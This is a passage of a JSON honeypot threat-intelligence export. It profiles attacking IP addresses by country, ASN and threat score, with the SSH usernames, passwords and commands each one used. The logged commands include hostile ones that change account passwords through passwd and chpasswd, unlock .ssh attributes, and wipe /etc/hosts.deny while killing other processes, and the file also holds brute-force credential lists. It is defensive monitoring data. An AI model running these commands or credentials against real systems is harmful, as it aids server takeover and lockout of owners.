        "echo \"Wei123\\nMXNNhND8D0aG\\nMXNNhND8D0aG\\n\"|passwd",
        "echo \"geopass\\nOGBOxgIDp8xA\\nOGBOxgIDp8xA\\n\"|passwd",
        "echo -e \"Wei123\\nMXNNhND8D0aG\\nMXNNhND8D0aG\"|passwd|bash",
        "echo -e \"geopass\\nOGBOxgIDp8xA\\nOGBOxgIDp8xA\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "top",
        "uname",
        "uname -m",
        "w",
        "which ls"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 9.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 189,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T19:54:09.020000+00:00",
        "last_seen_30d": "2026-03-09T20:37:48.914000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 156,
        "Suricata": 33
      }
    },
    "188.166.51.66": {
      "attack_count": 155,
      "first_seen": "2026-03-14T10:01:28.113Z",
      "last_seen": "2026-03-14T10:31:30.188Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "test",
        "user"
      ],
      "passwords_attempted": [
        "1234567890",
        "password1",
        "123",
        "1234",
        "123abc",
        "1q2w3e4r",
        "admin123",
        "pass123",
        "qwerty123"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 222,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T10:01:28.113000+00:00",
        "last_seen_30d": "2026-03-14T10:41:35.250000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 155,
        "Suricata": 67
      }
    },
    "16.58.56.214": {
      "attack_count": 134,
      "first_seen": "2026-03-03T05:40:31.084Z",
      "last_seen": "2026-03-31T04:30:10.965Z",
      "sessions": 42,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36",
        "Accept-Encoding: gzip"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23",
        ""
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 14295,
        "days_active_30d": 30,
        "ports_targeted_30d": 177,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-03-02T03:15:42+00:00",
        "last_seen_30d": "2026-03-31T23:31:04.862000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9234,
        "Honeytrap": 4203,
        "Dionaea": 234,
        "Mailoney": 162,
        "ConPot": 152,
        "Cowrie": 134,
        "Redishoneypot": 128,
        "Tanner": 12,
        "ElasticPot": 9,
        "Ipphoney": 9,
        "Ciscoasa": 6,
        "Honeyaml": 6,
        "H0neytr4p": 5,
        "CitrixHoneypot": 1
      }
    },
    "103.190.7.203": {
      "attack_count": 124,
      "first_seen": "2026-03-12T09:17:06.836Z",
      "last_seen": "2026-03-12T09:41:34.022Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "fox",
        "345gs5662d34",
        "admin1",
        "carlo",
        "claude",
        "ftpadmin",
        "leo",
        "netweb",
        "root",
        "simeon",
        "ubuntu",
        "user123"
      ],
      "passwords_attempted": [
        "1234",
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "Password1",
        "Yy123456@",
        "aaa123456",
        "claude123",
        "ftpadmin1234",
        "leopass",
        "password",
        "simeon"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123\\niKkmitkM0LXq\\niKkmitkM0LXq\\n\"|passwd",
        "echo -e \"123\\niKkmitkM0LXq\\niKkmitkM0LXq\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Rajkot",
      "asn": 135851,
      "as_org": "Excogitate Technologies Pvt Ltd",
      "threat_score": 12.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T09:17:06.836000+00:00",
        "last_seen_30d": "2026-03-12T09:42:38.151000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 30
      }
    },
    "185.244.36.133": {
      "attack_count": 123,
      "first_seen": "2026-03-08T17:07:20.660Z",
      "last_seen": "2026-03-11T02:11:20.907Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "newfpbx",
        "root",
        "emo",
        "pbxsystem",
        "sugarmaint",
        "systems",
        "supermaint"
      ],
      "passwords_attempted": [
        "Itsemoemo2025@Washere2025",
        "xhimaa!@!@#123",
        "Xhima!@!@#123",
        "pbx@01011",
        "vivo@01011",
        "0595826256",
        "Emo-Eso-virus-FuckPBX",
        "Emo@SinaNews",
        "k1ngL000k1e"
      ],
      "commands_executed": [
        "cat /proc/meminfo | grep -i MemTotal",
        "free -m",
        "uname -a"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.success"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 62068,
      "as_org": "SpectraIP B.V.",
      "threat_score": 67.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 18.3,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 16009,
        "days_active_30d": 22,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-06T00:01:40.993000+00:00",
        "last_seen_30d": "2026-03-27T16:54:53.101000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10551,
        "H0neytr4p": 5282,
        "Cowrie": 123,
        "Honeytrap": 53
      }
    },
    "79.6.181.195": {
      "attack_count": 123,
      "first_seen": "2026-03-04T18:14:12.549Z",
      "last_seen": "2026-03-04T18:39:09.191Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "12345678987654321",
        "1234abcd!",
        "3245gs5662d34",
        "345gs5662d34",
        "654321",
        "7758258.",
        "Admin!123",
        "Bingo@1993",
        "C1234567890!",
        "Huawei@2024",
        "P@$$w0rd2025",
        "admin@123.com",
        "andrea"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:IFkfu4lzRZjS\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Rome",
      "asn": 3269,
      "as_org": "TIM",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 153,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T18:14:12.549000+00:00",
        "last_seen_30d": "2026-03-04T18:40:12.001000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 123,
        "Suricata": 30
      }
    },
    "103.13.206.154": {
      "attack_count": 119,
      "first_seen": "2026-03-14T03:53:39.909Z",
      "last_seen": "2026-03-14T04:22:24.096Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "modify",
        "root",
        "345gs5662d34",
        "csserver",
        "ming",
        "mo",
        "rose",
        "ss",
        "wireguard",
        "yzh"
      ],
      "passwords_attempted": [
        "123",
        "12345",
        "123456",
        "12345678",
        "2233",
        "3245gs5662d34",
        "345gs5662d34",
        "@123456",
        "csserver123!",
        "mo1234",
        "modifypass",
        "wireguard1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"modifypass\\nWPraH1z3MpBq\\nWPraH1z3MpBq\\n\"|passwd",
        "echo -e \"modifypass\\nWPraH1z3MpBq\\nWPraH1z3MpBq\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 15.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 149,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T03:53:39.909000+00:00",
        "last_seen_30d": "2026-03-14T04:23:30.029000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 30
      }
    },
    "165.154.147.69": {
      "attack_count": 119,
      "first_seen": "2026-03-09T02:17:28.962Z",
      "last_seen": "2026-03-09T02:40:09.611Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "piuser",
        "345gs5662d34",
        "host",
        "innova",
        "llm",
        "mahdi",
        "manager",
        "marek",
        "test1",
        "wade",
        "yasin"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "1234",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "Yasin123",
        "marek123!",
        "password",
        "piuser123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"piuser123\\n0cs7T9YnR9wL\\n0cs7T9YnR9wL\\n\"|passwd",
        "echo -e \"piuser123\\n0cs7T9YnR9wL\\n0cs7T9YnR9wL\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Kuala Lumpur",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T02:17:28.962000+00:00",
        "last_seen_30d": "2026-03-09T02:41:17.074000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "43.154.63.41": {
      "attack_count": 119,
      "first_seen": "2026-03-06T02:27:27.606Z",
      "last_seen": "2026-03-06T02:52:18.688Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ceshi2",
        "345gs5662d34",
        "deployer",
        "satisfactory",
        "shadow",
        "site2030",
        "thomas"
      ],
      "passwords_attempted": [
        "0000",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Ll123456789",
        "admin123456",
        "asd123!@#",
        "deployer!",
        "password",
        "satisfactory",
        "shadow123!",
        "site2030"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"password\\nnD6JFBl31PCS\\nnD6JFBl31PCS\\n\"|passwd",
        "echo -e \"password\\nnD6JFBl31PCS\\nnD6JFBl31PCS\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 5.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T02:27:27.606000+00:00",
        "last_seen_30d": "2026-03-06T02:53:25.859000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "81.193.216.17": {
      "attack_count": 119,
      "first_seen": "2026-03-18T22:08:21.778Z",
      "last_seen": "2026-03-18T22:29:06.734Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "nodejs",
        "345gs5662d34",
        "edward",
        "gns3",
        "kobo",
        "myuser",
        "pavel",
        "saad",
        "samuel",
        "tsbot",
        "user02"
      ],
      "passwords_attempted": [
        "1234",
        "12345678",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Edward123!",
        "Saad123",
        "kobopass",
        "password",
        "pavel123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345678\\ngqjZEtAEiFtY\\ngqjZEtAEiFtY\\n\"|passwd",
        "echo -e \"12345678\\ngqjZEtAEiFtY\\ngqjZEtAEiFtY\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": "Madalena",
      "asn": 3243,
      "as_org": "Servicos De Comunicacoes E Multimedia S.A.",
      "threat_score": 19.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T22:08:21.778000+00:00",
        "last_seen_30d": "2026-03-18T22:30:11.493000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "207.180.205.155": {
      "attack_count": 114,
      "first_seen": "2026-03-21T22:42:07.001Z",
      "last_seen": "2026-03-21T22:59:00.798Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "albert123",
        "345gs5662d34",
        "acs",
        "admin1",
        "btm",
        "cloud_user",
        "copia",
        "nextcloud",
        "pavel",
        "pos"
      ],
      "passwords_attempted": [
        "123",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "Albert123",
        "admin1123",
        "btmbtm",
        "cloud_userpass",
        "copiapassword",
        "password",
        "pos@123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Albert123\\nEYe7pAzw2gZ0\\nEYe7pAzw2gZ0\\n\"|passwd",
        "echo -e \"Albert123\\nEYe7pAzw2gZ0\\nEYe7pAzw2gZ0\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 22.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 139,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T22:42:07.001000+00:00",
        "last_seen_30d": "2026-03-21T23:00:03.530000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 114,
        "Suricata": 25
      }
    },
    "46.101.55.55": {
      "attack_count": 103,
      "first_seen": "2026-03-02T21:31:07.138Z",
      "last_seen": "2026-03-02T21:44:39.880Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "111111",
        "123",
        "123123",
        "1234",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "P@ssw0rd",
        "admin",
        "admin123",
        "passw0rd",
        "password",
        "password1",
        "qwerty",
        "root123",
        "toor"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 144,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T21:31:07.138000+00:00",
        "last_seen_30d": "2026-03-02T21:45:49.792000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 103,
        "Suricata": 41
      }
    },
    "34.81.42.153": {
      "attack_count": 99,
      "first_seen": "2026-03-16T01:00:56.466Z",
      "last_seen": "2026-03-26T00:28:59.930Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "puppet",
        "345gs5662d34",
        "dmdba",
        "myuser",
        "root",
        "techuser",
        "tomas"
      ],
      "passwords_attempted": [
        "123",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "Pass@2023",
        "Tech$123",
        "myuser1234",
        "tomaspass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345\\nOiw9khsCBfTZ\\nOiw9khsCBfTZ\\n\"|passwd",
        "echo -e \"12345\\nOiw9khsCBfTZ\\nOiw9khsCBfTZ\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 35.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.8,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 121,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T01:00:56.466000+00:00",
        "last_seen_30d": "2026-03-26T00:30:04.546000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 99,
        "Suricata": 22
      }
    },
    "138.68.87.143": {
      "attack_count": 90,
      "first_seen": "2026-03-14T01:46:38.171Z",
      "last_seen": "2026-03-14T02:03:42.526Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "111111",
        "123123",
        "1234",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "P@ssw0rd",
        "admin",
        "admin123",
        "passw0rd",
        "password",
        "password1",
        "qwerty",
        "root123",
        "toor"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 129,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T01:46:38.171000+00:00",
        "last_seen_30d": "2026-03-14T02:04:44.930000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 90,
        "Suricata": 39
      }
    },
    "35.195.166.192": {
      "attack_count": 71,
      "first_seen": "2026-03-11T11:37:49.138Z",
      "last_seen": "2026-03-11T11:39:08.376Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
